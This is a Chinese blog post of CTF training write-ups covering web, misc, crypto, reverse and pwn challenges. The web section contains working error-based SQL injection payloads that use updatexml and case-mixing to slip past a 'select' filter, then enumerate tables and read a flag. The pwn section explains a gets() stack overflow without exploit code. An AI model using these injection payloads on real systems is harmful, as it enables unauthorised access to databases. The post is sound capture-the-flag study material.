当前位置: 首页 > article >正文

寒假1.18

web(报错注入)

 [第一章 web入门]SQL注入-2

题解:

打开是个403界面,还以为没开成

通过题目提示,访问/login.php /user.php

合在一起访问屁都没有,分开访问,/login.php回显:

/user.php回显:

尝试在url后加入?id=1,没有用

查看源代码得到这么一句话,有的网站会开启错误调试信息方便开发者调试,可以利用报错信息进行报错注入

使用提示的方法,使用普通payload,dual用于测试数据库是否可以正常使用,随便输入一个密码,在url后加入?tips=1,重新发包,从提示可看出select被过滤了

name=1'and updatexml(1,concat(0x7e,(select 1 from dual)),1)--+&pass=123

尝试大小写绕过,成功注入,说明是字符型注入

name=1'and updatexml(1,concat(0x7e,(sELECT 1 from dual)),1)--+&pass=1' and 1=2 --+

 查表名,存在两张表,猜测在fl4g中

name=1'and updatexml(1,concat(0x7e,(sELECT group_concat(table_name) from information_schema.tables where table_schema=database())),1)--+&pass=1' and 1=2 --+

查字段 ,看到flag了

name=1'and updatexml(1,concat(0x7e,(sELECT group_concat(column_name) from information_schema.columns where table_name='fl4g')),1)--+&pass=1' and 1=2 --+

 查看字段获取flag

name=1'and updatexml(1,concat(0x7e,(sELECT flag from fl4g)),1)--+&pass=1' and 1=2 --+

 

misc

buuctf-伟大的侦探

下载附件后解压,需要密码

取消后打开看,有一个.txt文件可查看,打开是一个EBCDIC编码

注意这里不能复制粘贴过来,直接把文件拖进来才可以

在视图里修改编辑方式为EBCDIC编码(也不知道为什么是这个编码,就当是积累经验了)

输入密码解压,一堆乱七八糟的小人

搜索之后得知这出自《福尔摩斯探密集》跳舞的小人

手搓一下flag就出来了

flag{iloveholmesandwllm}

crypto

BUUCTF-异性相吸

解压后得到两个.txt文件,有点怀疑会不会跟misc那题一样是EBCDIC编码

看了别人的wp,得知题目强调“异性”,“异”指的即为一种不同的、对立的东西,而计算机中最先接触的对立的东西即为0和1,所以先将密文和key都转为二进制

key:

0110000101110011011000010110010001110011011000010111001101100100011000010111001101100100011000010111001101100100011000010111001101100100011000010111001101100100011000010111001101100100011000010111001101100100011000010111001101100100011000010111001101100100011100010111011101100101011100110111000101100110

密文:

0000011100011111000000000000001100001000000001000001001001010101000000110001000001010100010110000100101101011100010110000100101001010110010100110100010001010010000000110100010000000010010110000100011000000110010101000100011100000101010101100100011101010111010001000001001001011101010010100001010000011011

因为两个的二进制位数相同,根据“相吸”两字,推测密文和秘钥相对应的每一位二进制之间相同为0,不同为1,也就是异或

找一个在线工具把异或解决了

再二进制转文本,即可得到flag

reverse

BUUCTF-[GWCTF 2019]pyre

前置知识:.pyc文件

pyc文件是一种二进制文件,是由py文件经过编译后生成的文件,是一种byte code字节码,可以提高加载速度,且是一种跨平台的字节码,可以由python的虚拟机来执行

且pyc的内容与python版本相关,执行的python版本需要与编译pyc的python的版本相同

pyc文件还可以防止源码泄露,也就是说我们直接打开pyc是看不到源码的,需要使用反编译工具

题解:

下载后发现是一个.pyc文件,但是ida打不开,可以直接找一个在线工具解密

#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
# Version: Python 2.7

print 'Welcome to Re World!'
print 'Your input1 is your flag~'
l = len(input1)
for i in range(l):
    num = ((input1[i] + i) % 128 + 128) % 128
    code += num

for i in range(l - 1):
    code[i] = code[i] ^ code[i + 1]

print code
code = [
    '%1f',
    '%12',
    '%1d',
    '(',
    '0',
    '4',
    '%01',
    '%06',
    '%14',
    '4',
    ',',
    '%1b',
    'U',
    '?',
    'o',
    '6',
    '*',
    ':',
    '%01',
    'D',
    ';',
    '%',
    '%13']

第一个for循环:获取input1的每个字符的ASCII码,并将其与当前索引i相加,除以128取模,再加上128后再次除以128取模

第二个for循环:对code列表中相邻的元素进行异或操作,并将结果重新赋值给前一个元素

编写脚本进行逆操作,这里得注意,要将%改为\x才可运行代码,但是单独的%不需要改

参考博客:【BUUCTF-Reverse】0x10.[GWCTF 2019]pyre-CSDN博客
BUUCTF-[GWCTF 2019]pyre-CSDN博客

pwn

buuctfciscn_2019_n_1

前置知识:

setvbuf函数:

属于c库函数,可定义流stream应如何缓冲

int setvbuf(FILE *stream, char *buffer, int mode, size_t size)

stream: 指向FILE对象的指针,该FILE对象标识了一个打开的流

buffer:分配给用户的缓冲。如果设置为NULL,该函数会自动分配一个指定大小的缓冲

mode:指定了文件缓冲的模式(全缓冲,行缓冲,无缓冲)

size:缓冲的大小,以字节为单位

如果成功,则该函数返回 0,否则返回非零值。

常见的栈溢出函数:

read()、write()、gets()、strcpy()和memcpy()和strncpy()、printf()和scanf()

具体用法和注意事项:从缓冲系统文件到常见栈溢出函数_存在栈溢出的函数-CSDN博客

题解:

先在exeinfope中查看,无壳,64位,.elf文件

ida64打开,找到主函数main,f5反汇编

func函数和昨天那题gets函数的位置有点相似,查看一下func函数,找到了gets()函数和system()函数

v2先定义为0.0

这里需要使v2的值为11.28125才可返回system函数

gets(&v1)函数没有限制v1的大小,双击v1查看一下栈区

思路:通过gets函数覆盖var_4的值为11.28125,转一下进制,注意是浮点数

编写exp运行即可得到flag


http://www.kler.cn/a/510259.html

相关文章:

  • 流量分析复现(第十八届信息安全大赛 第二届长城杯 )
  • 双向耦合粒子追踪稳态求解器找到未定义的值?
  • 2,Linux文件基本属性(基于Ubuntu示例进行讲解)
  • 利用 LNMP 实现 WordPress 站点搭建
  • Linux 音视频入门到实战专栏(视频篇)视频编解码 MPP
  • TiDB 和 MySQL 的关系:这两者到底有什么不同和联系?
  • VUE学习笔记(入门)4__安装开发者工具
  • ElasticSearch上
  • 51.WPF应用加图标指南 C#例子 WPF例子
  • Node.js path.resolve
  • clang、C++23标准库模块基本使用
  • Vue如何构建项目
  • go采集注册表
  • imread和jpeg_read在MATLAB中处理图像时的不同
  • 1.17组会汇报
  • windows-本地部署Git仓库-安装Gitea
  • LQ1043 双面打印
  • flask项目中使用schedule定时任务案例
  • 第 7 课Python 容器类型与相关操作
  • UnityEditor脚本:调用ADB推送文件到手机
  • Spring参数校验,数组入参校验 :List<E>
  • 打造智能气象预测系统:AI如何改变天气预报的未来
  • 电梯系统的UML文档04
  • 创建一个简单的spring boot+vue前后端分离项目
  • Jmeter Beanshell脚本批量提取接口的值生成csv文档
  • 蓝桥杯训练—斐波那契数列